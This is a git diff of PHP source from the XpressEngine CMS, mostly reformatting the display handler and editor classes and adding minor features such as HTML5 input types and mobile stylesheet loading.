compile elapsed time \t: %0.5f sec", $GLOBALS['__layout_compile_elapsed__']); - // Widgets, the editor component replacement time - $buff .= sprintf("\n\tTrans Content \t\t\t: %0.5f sec\n", $GLOBALS['__trans_content_elapsed__']); - } - // DB Logging - if(__DEBUG__ & 4) { - if(__DEBUG_PROTECT__ == 1 && __DEBUG_PROTECT_IP__ != $_SERVER['REMOTE_ADDR']) { - return; - } - - if($GLOBALS['__db_queries__']) { - $buff .= sprintf("\n- DB Queries : %d Queries. %0.5f sec\n", count($GLOBALS['__db_queries__']), $GLOBALS['__db_elapsed_time__']); - $num = 0; - - foreach($GLOBALS['__db_queries__'] as $query) { - $buff .= sprintf("\t%02d. %s\n\t\t%0.6f sec. ", ++$num, $query['query'], $query['elapsed_time']); - if($query['result'] == 'Success') { - $buff .= "Query Success\n"; - } else { - $buff .= sprintf("Query $s : %d\n\t\t\t %s\n", $query['result'], $query['errno'], $query['errstr']); - } - $buff .= sprintf("\t\tConnection: %s\n", $query['connection']); - } - } - } - // Output in HTML comments - if($buff && __DEBUG_OUTPUT__ == 1 && Context::getResponseMethod() == 'HTML') { - $buff = sprintf("[%s %s:%d]\n%s\n", date('Y-m-d H:i:s'), $file_name, $line_num, print_r($buff, true)); - - if(__DEBUG_PROTECT__ == 1 && __DEBUG_PROTECT_IP__ != $_SERVER['REMOTE_ADDR']) { - $buff = 'The IP address is not allowed. Change the value of __DEBUG_PROTECT_IP__ into your IP address in config/config.user.inc.php or config/config.inc.php'; - } - - return ""; - } - // Output to a file - if($buff && __DEBUG_OUTPUT__ == 0) { - $debug_file = _XE_PATH_.'files/_debug_message.php'; - $buff = sprintf("[%s %s:%d]\n%s\n", date('Y-m-d H:i:s'), $file_name, $line_num, print_r($buff, true)); - - $buff = str_repeat('=', 40)."\n".$buff.str_repeat('-', 40); - $buff = "\n\n"; - - if(@!$fp = fopen($debug_file, 'a')) return; - fwrite($fp, $buff); - fclose($fp); - } - } - } - - /** - * print a HTTP HEADER for XML, which is encoded in UTF-8 - * @return void - **/ - function _printXMLHeader() { - header("Content-Type: text/xml; charset=UTF-8"); - header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); - header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); - header("Cache-Control: no-store, no-cache, must-revalidate"); - header("Cache-Control: post-check=0, pre-check=0", false); - header("Pragma: no-cache"); + // display DB query history + if((__DEBUG__ & 4) && $GLOBALS['__db_queries__']) + { + $queries_output = array(array('Query', 'Elapsed time', 'Result')); + foreach($GLOBALS['__db_queries__'] as $query) + { + array_push($queries_output, array($query['query'], sprintf('%0.5f', $query['elapsed_time']), $query['result'])); + } + $firephp->fb( + array( + 'DB Queries >>> ' . count($GLOBALS['__db_queries__']) . ' Queries, ' . sprintf('%0.5f sec', $GLOBALS['__db_elapsed_time__']), + $queries_output + ), + 'TABLE' + ); + } + // dislpay the file and HTML comments } + else + { + // display total execution time and Request/Response info + if(__DEBUG__ & 2) + { + if(__DEBUG_PROTECT__ == 1 && __DEBUG_PROTECT_IP__ != $_SERVER['REMOTE_ADDR']) + { + return; + } + // Request/Response information + $buff .= "\n- Request/ Response info\n"; + $buff .= sprintf("\tRequest URI \t\t\t: %s:%s%s%s%s\n", $_SERVER['SERVER_NAME'], $_SERVER['SERVER_PORT'], $_SERVER['PHP_SELF'], $_SERVER['QUERY_STRING'] ? '?' : '', $_SERVER['QUERY_STRING']); + $buff .= sprintf("\tRequest method \t\t\t: %s\n", $_SERVER['REQUEST_METHOD']); + $buff .= sprintf("\tResponse method \t\t: %s\n", Context::getResponseMethod()); + $buff .= sprintf("\tResponse contents size\t\t: %d byte\n", $this->content_size); - /** - * print a HTTP HEADER for HTML, which is encoded in UTF-8 - * @return void - **/ - function _printHTMLHeader() { - header("Content-Type: text/html; charset=UTF-8"); - header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); - header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); - header("Cache-Control: no-store, no-cache, must-revalidate"); - header("Cache-Control: post-check=0, pre-check=0", false); - header("Pragma: no-cache"); + // total execution time + $buff .= sprintf("\n- Total elapsed time : %0.5f sec\n", $end - __StartTime__); + + $buff .= sprintf("\tclass file load elapsed time \t: %0.5f sec\n", $GLOBALS['__elapsed_class_load__']); + $buff .= sprintf("\tTemplate compile elapsed time\t: %0.5f sec (%d called)\n", $GLOBALS['__template_elapsed__'], $GLOBALS['__TemplateHandlerCalled__']); + $buff .= sprintf("\tXmlParse compile elapsed time\t: %0.5f sec\n", $GLOBALS['__xmlparse_elapsed__']); + $buff .= sprintf("\tPHP elapsed time \t\t: %0.5f sec\n", $end - __StartTime__ - $GLOBALS['__template_elapsed__'] - $GLOBALS['__xmlparse_elapsed__'] - $GLOBALS['__db_elapsed_time__'] - $GLOBALS['__elapsed_class_load__']); + $buff .= sprintf("\tDB class elapsed time \t\t: %0.5f sec\n", $GLOBALS['__dbclass_elapsed_time__'] - $GLOBALS['__db_elapsed_time__']); + + // widget execution time + $buff .= sprintf("\n\tWidgets elapsed time \t\t: %0.5f sec", $GLOBALS['__widget_excute_elapsed__']); + + // layout execution time + $buff .= sprintf("\n\tLayout compile elapsed time \t: %0.5f sec", $GLOBALS['__layout_compile_elapsed__']); + + // Widgets, the editor component replacement time + $buff .= sprintf("\n\tTrans Content \t\t\t: %0.5f sec\n", $GLOBALS['__trans_content_elapsed__']); + } + // DB Logging + if(__DEBUG__ & 4) + { + if(__DEBUG_PROTECT__ == 1 && __DEBUG_PROTECT_IP__ != $_SERVER['REMOTE_ADDR']) + { + return; + } + + if($GLOBALS['__db_queries__']) + { + $buff .= sprintf("\n- DB Queries : %d Queries. %0.5f sec\n", count($GLOBALS['__db_queries__']), $GLOBALS['__db_elapsed_time__']); + $num = 0; + + foreach($GLOBALS['__db_queries__'] as $query) + { + $buff .= sprintf("\t%02d. %s\n\t\t%0.6f sec. ", ++$num, $query['query'], $query['elapsed_time']); + if($query['result'] == 'Success') + { + $buff .= "Query Success\n"; + } + else + { + $buff .= sprintf("Query $s : %d\n\t\t\t %s\n", $query['result'], $query['errno'], $query['errstr']); + } + $buff .= sprintf("\t\tConnection: %s\n", $query['connection']); + } + } + } + + // Output in HTML comments + if($buff && __DEBUG_OUTPUT__ == 1 && Context::getResponseMethod() == 'HTML') + { + $buff = sprintf("[%s %s:%d]\n%s\n", date('Y-m-d H:i:s'), $file_name, $line_num, print_r($buff, true)); + + if(__DEBUG_PROTECT__ == 1 && __DEBUG_PROTECT_IP__ != $_SERVER['REMOTE_ADDR']) + { + $buff = 'The IP address is not allowed. Change the value of __DEBUG_PROTECT_IP__ into your IP address in config/config.user.inc.php or config/config.inc.php'; + } + + return ""; + } + + // Output to a file + if($buff && __DEBUG_OUTPUT__ == 0) + { + $debug_file = _XE_PATH_ . 'files/_debug_message.php'; + $buff = sprintf("[%s %s:%d]\n%s\n", date('Y-m-d H:i:s'), $file_name, $line_num, print_r($buff, true)); + + $buff = str_repeat('=', 40) . "\n" . $buff . str_repeat('-', 40); + $buff = "\n\n"; + + if(@!$fp = fopen($debug_file, 'a')) + { + return; + } + + fwrite($fp, $buff); + fclose($fp); + } } + } + /** + * print a HTTP HEADER for XML, which is encoded in UTF-8 + * @return void + */ + function _printXMLHeader() + { + header("Content-Type: text/xml; charset=UTF-8"); + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", false); + header("Pragma: no-cache"); + } - /** - * print a HTTP HEADER for JSON, which is encoded in UTF-8 - * @return void - **/ - function _printJSONHeader() { - header("Content-Type: text/html; charset=UTF-8"); - header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); - header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); - header("Cache-Control: no-store, no-cache, must-revalidate"); - header("Cache-Control: post-check=0, pre-check=0", false); - header("Pragma: no-cache"); - } + /** + * print a HTTP HEADER for HTML, which is encoded in UTF-8 + * @return void + */ + function _printHTMLHeader() + { + header("Content-Type: text/html; charset=UTF-8"); + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", false); + header("Pragma: no-cache"); + } + /** + * print a HTTP HEADER for JSON, which is encoded in UTF-8 + * @return void + */ + function _printJSONHeader() + { + header("Content-Type: text/html; charset=UTF-8"); + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", false); + header("Pragma: no-cache"); + } - /** - * print a HTTP HEADER for HTML, which is encoded in UTF-8 - * @return void - **/ - function _printHttpStatusCode($code) { - $statusMessage = Context::get('http_status_message'); - header("HTTP/1.0 $code $statusMessage"); - } - } -?> + /** + * print a HTTP HEADER for HTML, which is encoded in UTF-8 + * @return void + */ + function _printHttpStatusCode($code) + { + $statusMessage = Context::get('http_status_message'); + header("HTTP/1.0 $code $statusMessage"); + } + +} +/* End of file DisplayHandler.class.php */ +/* Location: ./classes/display/DisplayHandler.class.php */ diff --git a/classes/display/HTMLDisplayHandler.php b/classes/display/HTMLDisplayHandler.php index 02fab5eff..d5c0b0942 100644 --- a/classes/display/HTMLDisplayHandler.php +++ b/classes/display/HTMLDisplayHandler.php @@ -1,48 +1,54 @@ getTemplatePath(); if(!is_dir($template_path)) { - if ($oModule->module_info->module == $oModule->module) - $skin = $oModule->origin_module_info->skin; - else - $skin = $oModule->module_config->skin; - - if(Context::get('module')!='admin' && strpos(Context::get('act'),'Admin') === false) + if($oModule->module_info->module == $oModule->module) { - if ($skin && is_string($skin)) + $skin = $oModule->origin_module_info->skin; + } + else + { + $skin = $oModule->module_config->skin; + } + + if(Context::get('module') != 'admin' && strpos(Context::get('act'), 'Admin') === false) + { + if($skin && is_string($skin)) { $theme_skin = explode('|@|', $skin); $template_path = $oModule->getTemplatePath(); - if (count($theme_skin) == 2) + if(count($theme_skin) == 2) { - $theme_path = sprintf('./themes/%s',$theme_skin[0]); - if(substr($theme_path,0,strlen($theme_path)) != $theme_path) + $theme_path = sprintf('./themes/%s', $theme_skin[0]); + if(substr($theme_path, 0, strlen($theme_path)) != $theme_path) { $template_path = sprintf('%s/modules/%s/', $theme_path, $theme_skin[1]); } - } + } } else { $template_path = $oModule->getTemplatePath(); } } - else + else { $template_path = $oModule->getTemplatePath(); } @@ -53,11 +59,19 @@ class HTMLDisplayHandler { $output = $oTemplate->compile($template_path, $tpl_file); // add .x div for adminitration pages - if(Context::getResponseMethod() == 'HTML') { - if(Context::get('module')!='admin' && strpos(Context::get('act'),'Admin')>0) $output = '
    '.$output.'
    '; - - if(Context::get('layout') != 'none') { - if(__DEBUG__==3) $start = getMicroTime(); + if(Context::getResponseMethod() == 'HTML') + { + if(Context::get('module') != 'admin' && strpos(Context::get('act'), 'Admin') > 0) + { + $output = '
    ' . $output . '
    '; + } + + if(Context::get('layout') != 'none') + { + if(__DEBUG__ == 3) + { + $start = getMicroTime(); + } Context::set('content', $output, false); @@ -67,15 +81,17 @@ class HTMLDisplayHandler { $edited_layout_file = $oModule->getEditedLayoutFile(); // get the layout information currently requested - $oLayoutModel = &getModel('layout'); + $oLayoutModel = getModel('layout'); $layout_info = Context::get('layout_info'); $layout_srl = $layout_info->layout_srl; // compile if connected to the layout - if($layout_srl > 0){ + if($layout_srl > 0) + { // handle separately if the layout is faceoff - if($layout_info && $layout_info->type == 'faceoff') { + if($layout_info && $layout_info->type == 'faceoff') + { $oLayoutModel->doActivateFaceOff($layout_info); Context::set('layout_info', $layout_info); } @@ -83,15 +99,43 @@ class HTMLDisplayHandler { // search if the changes CSS exists in the admin layout edit window $edited_layout_css = $oLayoutModel->getUserLayoutCss($layout_srl); - if(file_exists($edited_layout_css)) Context::loadFile(array($edited_layout_css,'all','',100)); + if(file_exists($edited_layout_css)) + { + Context::loadFile(array($edited_layout_css, 'all', '', 100)); + } + } + if(!$layout_path) + { + $layout_path = './common/tpl'; + } + if(!$layout_file) + { + $layout_file = 'default_layout'; } - if(!$layout_path) $layout_path = './common/tpl'; - if(!$layout_file) $layout_file = 'default_layout'; $output = $oTemplate->compile($layout_path, $layout_file, $edited_layout_file); - if(__DEBUG__==3) $GLOBALS['__layout_compile_elapsed__'] = getMicroTime()-$start; + // if popup_layout, remove admin bar. + $realLayoutPath = FileHandler::getRealPath($layout_path); + if(substr($realLayoutPath, -1) != '/') + { + $realLayoutPath .= '/'; + } - if(preg_match('/MSIE/i',$_SERVER['HTTP_USER_AGENT']) && (Context::get('_use_ssl') == 'optional' || Context::get('_use_ssl') == 'always')) { + $pathInfo = pathinfo($layout_file); + $onlyLayoutFile = $pathInfo['filename']; + + if($realLayoutPath === _XE_PATH_ . 'common/tpl/' && $onlyLayoutFile === 'popup_layout') + { + Context::set('admin_bar', 'false'); + } + + if(__DEBUG__ == 3) + { + $GLOBALS['__layout_compile_elapsed__'] = getMicroTime() - $start; + } + + if(preg_match('/MSIE/i', $_SERVER['HTTP_USER_AGENT']) && (Context::get('_use_ssl') == 'optional' || Context::get('_use_ssl') == 'always')) + { Context::addHtmlFooter(''); } } @@ -103,34 +147,46 @@ class HTMLDisplayHandler { * when display mode is HTML, prepare code before print. * @param string $output compiled template string * @return void - **/ - function prepareToPrint(&$output) { - if(Context::getResponseMethod() != 'HTML') return; + */ + function prepareToPrint(&$output) + { + if(Context::getResponseMethod() != 'HTML') + { + return; + } - if(__DEBUG__==3) $start = getMicroTime(); + if(__DEBUG__ == 3) + { + $start = getMicroTime(); + } // move in body to the header - $output = preg_replace_callback('!!is', array($this,'_moveStyleToHeader'), $output); + $output = preg_replace_callback('!(.*?)<\/style>!is', array($this, '_moveStyleToHeader'), $output); + + // move in body to the header + $output = preg_replace_callback('!!is', array($this, '_moveLinkToHeader'), $output); // move in body to the header - $output = preg_replace_callback('!!is', array($this,'_moveMetaToHeader'), $output); + $output = preg_replace_callback('!!is', array($this, '_moveMetaToHeader'), $output); // change a meta fine(widget often put the tag like to the content because of caching) - $output = preg_replace_callback('//is', array($this,'_transMeta'), $output); + $output = preg_replace_callback('//is', array($this, '_transMeta'), $output); // handles a relative path generated by using the rewrite module - if(Context::isAllowRewrite()) { + if(Context::isAllowRewrite()) + { $url = parse_url(Context::getRequestUri()); $real_path = $url['path']; $pattern = '/src=("|\'){1}(\.\/)?(files\/attach|files\/cache|files\/faceOff|files\/member_extra_info|modules|common|widgets|widgetstyle|layouts|addons)\/([^"\']+)\.(jpg|jpeg|png|gif)("|\'){1}/s'; - $output = preg_replace($pattern, 'src=$1'.$real_path.'$3/$4.$5$6', $output); + $output = preg_replace($pattern, 'src=$1' . $real_path . '$3/$4.$5$6', $output); $pattern = '/href=("|\'){1}(\?[^"\']+)/s'; - $output = preg_replace($pattern, 'href=$1'.$real_path.'$2', $output); + $output = preg_replace($pattern, 'href=$1' . $real_path . '$2', $output); - if(Context::get('vid')) { - $pattern = '/\/'.Context::get('vid').'\?([^=]+)=/is'; + if(Context::get('vid')) + { + $pattern = '/\/' . Context::get('vid') . '\?([^=]+)=/is'; $output = preg_replace($pattern, '/?$1=', $output); } } @@ -142,20 +198,23 @@ class HTMLDisplayHandler { { $INPUT_ERROR = Context::get('INPUT_ERROR'); $keys = array_keys($INPUT_ERROR); - $keys = '('.implode('|', $keys).')'; + $keys = '(' . implode('|', $keys) . ')'; - $output = preg_replace_callback('@(]*?)\sname="'.$keys.'"([^>]*?)/?>@is', array(&$this, '_preserveValue'), $output); - $output = preg_replace_callback('@]*\sname="'.$keys.'".+@isU', array(&$this, '_preserveSelectValue'), $output); - $output = preg_replace_callback('@]*\sname="'.$keys.'".+@isU', array(&$this, '_preserveTextAreaValue'), $output); + $output = preg_replace_callback('@(]*?)\sname="' . $keys . '"([^>]*?)/?>@is', array(&$this, '_preserveValue'), $output); + $output = preg_replace_callback('@]*\sname="' . $keys . '".+@isU', array(&$this, '_preserveSelectValue'), $output); + $output = preg_replace_callback('@]*\sname="' . $keys . '".+@isU', array(&$this, '_preserveTextAreaValue'), $output); } - if(__DEBUG__==3) $GLOBALS['__trans_content_elapsed__'] = getMicroTime()-$start; + if(__DEBUG__ == 3) + { + $GLOBALS['__trans_content_elapsed__'] = getMicroTime() - $start; + } // Remove unnecessary information - $output = preg_replace('/member\_\-([0-9]+)/s','member_0',$output); + $output = preg_replace('/member\_\-([0-9]+)/s', 'member_0', $output); // set icon - $oAdminModel = &getAdminModel('admin'); + $oAdminModel = getAdminModel('admin'); $favicon_url = $oAdminModel->getFaviconUrl(); $mobicon_url = $oAdminModel->getMobileIconUrl(); Context::set('favicon_url', $favicon_url); @@ -163,19 +222,20 @@ class HTMLDisplayHandler { // convert the final layout Context::set('content', $output); - $oTemplate = &TemplateHandler::getInstance(); - if(Mobile::isFromMobilePhone()) { + $oTemplate = TemplateHandler::getInstance(); + if(Mobile::isFromMobilePhone()) + { + $this->_loadMobileJSCSS(); $output = $oTemplate->compile('./common/tpl', 'mobile_layout'); } else { $this->_loadJSCSS(); - $this->_addMetaTag(); $output = $oTemplate->compile('./common/tpl', 'common_layout'); } // replace the user-defined-language - $oModuleController = &getController('module'); + $oModuleController = getController('module'); $oModuleController->replaceDefinedLangCode($output); } @@ -183,21 +243,39 @@ class HTMLDisplayHandler { * when display mode is HTML, prepare code before print about tag value. * @param array $match input value. * @return string input value. - **/ + */ function _preserveValue($match) { $INPUT_ERROR = Context::get('INPUT_ERROR'); - $str = $match[1].$match[2].' name="'.$match[3].'"'.$match[4]; + $str = $match[1] . $match[2] . ' name="' . $match[3] . '"' . $match[4]; // get type $type = 'text'; - if(preg_match('/\stype="([a-z]+)"/i', $str, $m)) $type = strtolower($m[1]); + if(preg_match('/\stype="([a-z]+)"/i', $str, $m)) + { + $type = strtolower($m[1]); + } - switch($type){ + switch($type) + { case 'text': case 'hidden': - $str = preg_replace('@\svalue="[^"]*?"@', ' ', $str).' value="'.@htmlspecialchars($INPUT_ERROR[$match[3]]).'"'; + case 'email': + case 'search': + case 'tel': + case 'url': + case 'email': + case 'datetime': + case 'date': + case 'month': + case 'week': + case 'time': + case 'datetime-local': + case 'number': + case 'range': + case 'color': + $str = preg_replace('@\svalue="[^"]*?"@', ' ', $str) . ' value="' . @htmlspecialchars($INPUT_ERROR[$match[3]]) . '"'; break; case 'password': $str = preg_replace('@\svalue="[^"]*?"@', ' ', $str); @@ -205,20 +283,21 @@ class HTMLDisplayHandler { case 'radio': case 'checkbox': $str = preg_replace('@\schecked(="[^"]*?")?@', ' ', $str); - if(@preg_match('@\s(?i:value)="'.$INPUT_ERROR[$match[3]].'"@', $str)) { + if(@preg_match('@\s(?i:value)="' . $INPUT_ERROR[$match[3]] . '"@', $str)) + { $str .= ' checked="checked"'; } break; } - return $str.' />'; + return $str . ' />'; } /** * when display mode is HTML, prepare code before print about '; + return $mm[0] . implode('', $m[0]) . ''; } /** * when display mode is HTML, prepare code before print about '; + return $mm[0] . $INPUT_ERROR[$matches[1]] . ''; } /** @@ -255,8 +334,24 @@ class HTMLDisplayHandler { * printed inside
    later. * @param array $matches * @return void - **/ - function _moveStyleToHeader($matches) { + */ + function _moveStyleToHeader($matches) + { + if(isset($matches[1]) && stristr($matches[1], 'scoped')) + { + return $matches[0]; + } + Context::addHtmlHeader($matches[0]); + } + + /** + * add html link code extracted from html body to Context, which will be + * printed inside
    later. + * @param array $matches + * @return void + */ + function _moveLinkToHeader($matches) + { Context::addHtmlHeader($matches[0]); } @@ -265,8 +360,9 @@ class HTMLDisplayHandler { * printed inside
    later. * @param array $matches * @return void - **/ - function _moveMetaToHeader($matches) { + */ + function _moveMetaToHeader($matches) + { Context::addHtmlHeader($matches[0]); } @@ -274,59 +370,89 @@ class HTMLDisplayHandler { * add given .css or .js file names in widget code to Context * @param array $matches * @return void - **/ - function _transMeta($matches) { - if($matches[1]) return ''; + */ + function _transMeta($matches) + { + if($matches[1]) + { + return ''; + } Context::loadFile($matches[2]); } /** * import basic .js files. * @return void - **/ + */ function _loadJSCSS() { - $oContext =& Context::getInstance(); - $lang_type = Context::getLangType(); + $oContext = Context::getInstance(); + $lang_type = Context::getLangType(); // add common JS/CSS files - if(__DEBUG__) { + if(__DEBUG__) + { $oContext->loadFile(array('./common/js/jquery.js', 'head', '', -100000), true); $oContext->loadFile(array('./common/js/x.js', 'head', '', -100000), true); $oContext->loadFile(array('./common/js/common.js', 'head', '', -100000), true); $oContext->loadFile(array('./common/js/js_app.js', 'head', '', -100000), true); $oContext->loadFile(array('./common/js/xml_handler.js', 'head', '', -100000), true); $oContext->loadFile(array('./common/js/xml_js_filter.js', 'head', '', -100000), true); - $oContext->loadFile(array('./common/css/xe.css', 'all', '', -100000), true); - } else { + $oContext->loadFile(array('./common/css/xe.css', '', '', -1000000), true); + } + else + { $oContext->loadFile(array('./common/js/jquery.min.js', 'head', '', -100000), true); $oContext->loadFile(array('./common/js/x.min.js', 'head', '', -100000), true); $oContext->loadFile(array('./common/js/xe.min.js', 'head', '', -100000), true); - $oContext->loadFile(array('./common/css/xe.min.css', 'all', '', -100000), true); + $oContext->loadFile(array('./common/css/xe.min.css', '', '', -1000000), true); } // for admin page, add admin css - if(Context::get('module')=='admin' || strpos(Context::get('act'),'Admin')>0){ - if(__DEBUG__) { - $oContext->loadFile(array('./modules/admin/tpl/css/admin.css', 'all', '', 100000), true); - $oContext->loadFile(array("./modules/admin/tpl/css/admin_{$lang_type}.css", 'all', '', 100000), true); + if(Context::get('module') == 'admin' || strpos(Context::get('act'), 'Admin') > 0) + { + if(__DEBUG__) + { + $oContext->loadFile(array('./modules/admin/tpl/css/admin.css', '', '', 10), true); + $oContext->loadFile(array("./modules/admin/tpl/css/admin_{$lang_type}.css", '', '', 10), true); + $oContext->loadFile(array("./modules/admin/tpl/css/admin.iefix.css", '', 'ie', 10), true); $oContext->loadFile('./modules/admin/tpl/js/admin.js', true); - } else { - $oContext->loadFile(array('./modules/admin/tpl/css/admin.min.css', 'all', '', 100000), true); - $oContext->loadFile(array("./modules/admin/tpl/css/admin_{$lang_type}.css", 'all', '',10000), true); + $oContext->loadFile(array('./modules/admin/tpl/css/admin.bootstrap.css', '', '', 1), true); + $oContext->loadFile(array('./modules/admin/tpl/js/jquery.tmpl.js', '', '', 1), true); + $oContext->loadFile(array('./modules/admin/tpl/js/jquery.jstree.js', '', '', 1), true); + } + else + { + $oContext->loadFile(array('./modules/admin/tpl/css/admin.min.css', '', '', 10), true); + $oContext->loadFile(array("./modules/admin/tpl/css/admin_{$lang_type}.css", '', '', 10), true); + $oContext->loadFile(array("./modules/admin/tpl/css/admin.iefix.min.css", '', 'ie', 10), true); $oContext->loadFile('./modules/admin/tpl/js/admin.min.js', true); + $oContext->loadFile(array('./modules/admin/tpl/css/admin.bootstrap.min.css', '', '', 1), true); + $oContext->loadFile(array('./modules/admin/tpl/js/jquery.tmpl.js', '', '', 1), true); + $oContext->loadFile(array('./modules/admin/tpl/js/jquery.jstree.js', '', '', 1), true); } } } /** - * add meta tag. - * @return void - **/ - function _addMetaTag() + * import basic .js files for mobile + */ + private function _loadMobileJSCSS() { - $oContext =& Context::getInstance(); - $oContext->addMetaTag('Content-Type', 'text/html; charset=UTF-8', true); - $oContext->addMetaTag('imagetoolbar', 'no'); + $oContext = Context::getInstance(); + $lang_type = Context::getLangType(); + + // add common JS/CSS files + if(__DEBUG__) + { + $oContext->loadFile(array('./common/css/mobile.css', '', '', -1000000), true); + } + else + { + $oContext->loadFile(array('./common/css/mobile.min.css', '', '', -1000000), true); + } } + } +/* End of file HTMLDisplayHandler.class.php */ +/* Location: ./classes/display/HTMLDisplayHandler.class.php */ diff --git a/classes/display/JSCallbackDisplayHandler.php b/classes/display/JSCallbackDisplayHandler.php new file mode 100644 index 000000000..e72d1a91c --- /dev/null +++ b/classes/display/JSCallbackDisplayHandler.php @@ -0,0 +1,23 @@ +getVariables(); + $variables['error'] = $oModule->getError(); + $variables['message'] = $oModule->getMessage(); + $json = str_replace(array("\r\n", "\n", "\t"), array('\n', '\n', '\t'), json_encode2($variables)); + $output = sprintf('', Context::getJSCallbackFunc(), $json); + return $output; + } + +} +/* End of file JSCallback.class.php */ +/* Location: ./classes/display/JSCallback.class.php */ diff --git a/classes/display/JSONDisplayHandler.php b/classes/display/JSONDisplayHandler.php index 34219180b..0a35c09cf 100644 --- a/classes/display/JSONDisplayHandler.php +++ b/classes/display/JSONDisplayHandler.php @@ -1,17 +1,22 @@ getVariables(); $variables['error'] = $oModule->getError(); $variables['message'] = $oModule->getMessage(); - $json = str_replace(array("\r\n","\n","\t"),array('\n','\n','\t'),json_encode2($variables)); + $json = str_replace(array("\r\n", "\n", "\t"), array('\n', '\n', '\t'), json_encode2($variables)); return $json; } + } +/* End of file JSONDisplayHandler.class.php */ +/* Location: ./classes/display/JSONDisplayHandler.class.php */ diff --git a/classes/display/VirtualXMLDisplayHandler.php b/classes/display/VirtualXMLDisplayHandler.php index 40ae0ae5a..d43bbe6b8 100644 --- a/classes/display/VirtualXMLDisplayHandler.php +++ b/classes/display/VirtualXMLDisplayHandler.php @@ -1,12 +1,13 @@ getError(); @@ -14,25 +15,49 @@ class VirtualXMLDisplayHandler { $redirect_url = $oModule->get('redirect_url'); $request_uri = Context::get('xeRequestURI'); $request_url = Context::get('xeVirtualRequestUrl'); - if(substr($request_url,-1)!='/') $request_url .= '/'; - - if($error === 0) { - if($message != 'success') $output->message = $message; - if($redirect_url) $output->url = $redirect_url; - else $output->url = $request_uri; - } else { - if($message != 'fail') $output->message = $message; + if(substr($request_url, -1) != '/') + { + $request_url .= '/'; } - $html = ''."\n"; + else + { + if($message != 'fail') + { + $output->message = $message; + } + } + + $html = '' . "\n"; return $html; } -} -?> +} +/* End of file VirtualXMLDisplayHandler.class.php */ +/* Location: ./classes/display/VirtualXMLDisplayHandler.class.php */ diff --git a/classes/display/XMLDisplayHandler.php b/classes/display/XMLDisplayHandler.php index f51364510..946d77981 100644 --- a/classes/display/XMLDisplayHandler.php +++ b/classes/display/XMLDisplayHandler.php @@ -1,18 +1,20 @@ getVariables(); - $xmlDoc = "\n\n"; - $xmlDoc .= sprintf("%s\n",$oModule->getError()); - $xmlDoc .= sprintf("%s\n",str_replace(array('<','>','&'),array('<','>','&'),$oModule->getMessage())); + $xmlDoc = "\n\n"; + $xmlDoc .= sprintf("%s\n", $oModule->getError()); + $xmlDoc .= sprintf("%s\n", str_replace(array('<', '>', '&'), array('<', '>', '&'), $oModule->getMessage())); $xmlDoc .= $this->_makeXmlDoc($variables); @@ -25,22 +27,40 @@ class XMLDisplayHandler { * produce XML code given variable object\n * @param object $obj * @return string - **/ - function _makeXmlDoc($obj) { - if(!count($obj)) return; + */ + function _makeXmlDoc($obj) + { + if(!count($obj)) + { + return; + } $xmlDoc = ''; - foreach($obj as $key => $val) { - if(is_numeric($key)) $key = 'item'; + foreach($obj as $key => $val) + { + if(is_numeric($key)) + { + $key = 'item'; + } - if(is_string($val)) $xmlDoc .= sprintf('<%s>%s', $key, $val, $key,"\n"); - else if(!is_array($val) && !is_object($val)) $xmlDoc .= sprintf('<%s>%s%s', $key, $val, $key,"\n"); - else $xmlDoc .= sprintf('<%s>%s%s%s',$key, "\n", $this->_makeXmlDoc($val), $key, "\n"); + if(is_string($val)) + { + $xmlDoc .= sprintf('<%s>%s', $key, $val, $key, "\n"); + } + else if(!is_array($val) && !is_object($val)) + { + $xmlDoc .= sprintf('<%s>%s%s', $key, $val, $key, "\n"); + } + else + { + $xmlDoc .= sprintf('<%s>%s%s%s', $key, "\n", $this->_makeXmlDoc($val), $key, "\n"); + } } return $xmlDoc; } -} -?> +} +/* End of file XMLDisplayHandler.class.php */ +/* Location: ./classes/display/XMLDisplayHandler.class.php */ diff --git a/classes/editor/EditorHandler.class.php b/classes/editor/EditorHandler.class.php index 31fea007c..0920ccd2c 100644 --- a/classes/editor/EditorHandler.class.php +++ b/classes/editor/EditorHandler.class.php @@ -1,29 +1,35 @@ extra_vars) return; + if(!$info->extra_vars) + { + return; + } - foreach($info->extra_vars as $key => $val) { - $this->{$key} = trim($val->value); - } - } + foreach($info->extra_vars as $key => $val) + { + $this->{$key} = trim($val->value); + } + } - } - -?> +} +/* End of file EditorHandler.class.php */ +/* Location: ./classes/editor/EditorHandler.class.php */ diff --git a/classes/extravar/Extravar.class.php b/classes/extravar/Extravar.class.php index 364b9d56b..ca92f705c 100644 --- a/classes/extravar/Extravar.class.php +++ b/classes/extravar/Extravar.class.php @@ -1,397 +1,510 @@ module_srl = $module_srl; - } - - /** - * Register a key of extra variable - * - * @param object[] $extra_keys Array of extra variable. A value of array is object that contains module_srl, idx, name, default, desc, is_required, search, value, eid. - * @return void - **/ - function setExtraVarKeys($extra_keys) { - if(!is_array($extra_keys) || !count($extra_keys)) return; - foreach($extra_keys as $key => $val) { - $obj = null; - $obj = new ExtraItem($val->module_srl, $val->idx, $val->name, $val->type, $val->default, $val->desc, $val->is_required, $val->search, $val->value, $val->eid); - $this->keys[$val->idx] = $obj; - } - } - - /** - * Returns an array of ExtraItem - * - * @return ExtraItem[] - **/ - function getExtraVars() { - return $this->keys; - } - } - - /** - * Each value of the extra vars + /** + * Constructor * - * @author NHN (developers@xpressengine.com) - **/ - class ExtraItem { - /** - * Sequence of module - * @var int - */ - var $module_srl = 0; + * @param int $module_srl Sequence of module + * @return void + */ + function ExtraVar($module_srl) + { + $this->module_srl = $module_srl; + } - /** - * Index of 